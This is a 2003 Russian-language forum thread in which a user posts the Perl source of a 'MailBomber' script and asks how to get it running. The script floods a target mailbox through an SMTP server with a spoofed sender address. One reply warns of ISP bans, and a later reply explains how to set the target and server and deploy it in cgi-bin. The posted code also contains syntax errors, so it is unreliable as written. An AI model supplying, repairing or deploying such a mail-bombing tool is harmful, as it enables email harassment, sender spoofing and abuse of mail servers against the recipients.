Новости
Видео
Microsoft
Windows 10
Железо
Программы
Форум

Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Компьютеры + Интернет » Вебмастеру » Mail Bomber на Perl

Ответить
Настройки темы
Mail Bomber на Perl

Провизор


Сообщения: 244
Благодарности: 6


Конфигурация

Профиль | Отправить PM | Цитировать

Вот исходник, что с ним делать не знаю , кто знает
Цитата:
#!/usr/bin/perl
#
# k0dsweb gr0up
# [ Network Security Systems ]
#
# Language: Perl Code
# Platform: Any with Perl started.
# 8.11.2002
#
# Author: {dr}{nerve} // k0dsweb
# kodsweb.ru
#
# All Rights Reserved by k0dsweb gr0up
#
#############################################
#############################################
#                                           #
#          k0dsweb MailBomber v1.0          #
#                                           #
#############################################
#############################################

use Net::SMTP;

system("cls;clear";

print "\n\n\n\t\tk0dsweb MailBomber v1.0\n";
print "\t\tLanguage: Perl Code\n";
print "\t\tPlatform: Any with Perl started\n";
print "\t\tAuthor: {dr}{nerve} // k0dsweb\n\n";
print "\t\tAll Rights Reserved by k0dsweb gr0up.\n";
print "\t\tReady to work...\n";

$to="lox\@mail.ru";
$from="putin\@president.ru";
$subject="Present from President!";

$body=("Nice to clean you MailBox Russians!!!";

# Change the number of times you want the letter to be sent
$timestosend=10;
# Change for available smtp host (Usually your ISP SMTP host)
$smtpserver="mtu.ru";

for($i=1;$i<=$timestosend;$i++){
&send_mail;
print "$i letter (s) sent.\n";
}

sub send_mail{

$smtp = Net::SMTP->new($smtpserver);
$smtp->mail($from);
$smtp->to($to);

$smtp->data();
$smtp->datasend("To: $to\n";
$smtp->datasend("From: $from\n";
$smtp->datasend("Subject: $subject\n";
$smtp->datasend("\n";
$smtp->datasend("$body\n";

$smtp->dataend();
$smtp->quit;

}

# PS:
# To use this programm you have to have your SMTP.pm module installed
#
# Do not forget about spam-control!
# Good Luck!

-------
К важным делам следует относиться легко.
К несущественным делам следует относиться серьезно.
©Ямамото Цунэтомо. Хагакурэ. Сокрытое в листве.

Отправлено: 19:15, 21-05-2003

 

Провизор


Сообщения: 244
Благодарности: 6

Профиль | Отправить PM | Цитировать

Млин, что никто не знает, как работать с Perl ?

-------
К важным делам следует относиться легко.
К несущественным делам следует относиться серьезно.
©Ямамото Цунэтомо. Хагакурэ. Сокрытое в листве.

Отправлено: 11:25, 24-05-2003 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для Vitki

Wise Man


Сообщения: 1161
Благодарности: 7

Профиль | Отправить PM | Цитировать

Отчего же, знаем. Вот не знаем только зачем человеку, который его не знает, мылобомбер, да еще самый элементарный? Накидать "ради прикола" кучу писем кому-нибудь в ящик, потом обиженый напишет письмо твоему провайдеру, а он тебя отключит за спам и внесет в региональный черный список.
Оно тебе надо? Конечно бывают иногда веские причины.
Таковые есть?

-------
Не бойтесь делать то, чего никогда не делали, потому - что ковчег строил любитель, а Титаник - профессионалы.

Отправлено: 12:53, 24-05-2003 | #3


Провизор


Сообщения: 244
Благодарности: 6

Профиль | Отправить PM | Цитировать

Цитата:
Отчего же, знаем. Вот не знаем только зачем человеку, который его не знает, мылобомбер, да еще самый элементарный? Накидать "ради прикола" кучу писем кому-нибудь в ящик, потом обиженый напишет письмо твоему провайдеру, а он тебя отключит за спам и внесет в региональный черный список.
Оно тебе надо? Конечно бывают иногда веские причины.
Таковые есть?
Vitki
Ты меня не понял, я не хочу кидать кучу писем кому-нибудь на E-Mail (у меня для этого есть нормальный Mail Bomber ). Мне просто интересно знать, что надо сделать с исходником, чтобы он заработал .

[s]Исправлено: TarasBulba, 20:48 24-05-2003[/s]

-------
К важным делам следует относиться легко.
К несущественным делам следует относиться серьезно.
©Ямамото Цунэтомо. Хагакурэ. Сокрытое в листве.

Отправлено: 19:47, 24-05-2003 | #4

xFLINTx


Сообщения: n/a

Профиль | Цитировать

ну дык.. там же все написано.. внести изменения в:
Код: Выделить весь код
$to="lox\@mail.ru"; 
$from="putin\@president.ru"; 
$subject="Present from President!"; 
$timestosend=10; 
$smtpserver="smtp.mail.ru"
вбить в файло, назвать его mailbomb.pl - залить на сервак в дир /cgi-bin/  по дефолту с правами 0755... затем запустить..

Отправлено: 06:19, 25-05-2003 | #5



Компьютерный форум OSzone.net » Компьютеры + Интернет » Вебмастеру » Mail Bomber на Perl

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Yahoo mail & Mail Client Torsten Хочу все знать 3 18-09-2006 15:44
FreeBSD 5.3 Perl не видит локали, а KDE при сборке не видит perl :o mar Общий по FreeBSD 8 06-05-2005 13:13
Perl Patrick Программирование и базы данных 3 02-06-2004 23:27
Perl Guest Программирование и базы данных 2 08-03-2004 23:00
Perl::Tk CBMen Вебмастеру 1 24-02-2003 16:56


« Предыдущая тема | Следующая тема »


 
Переход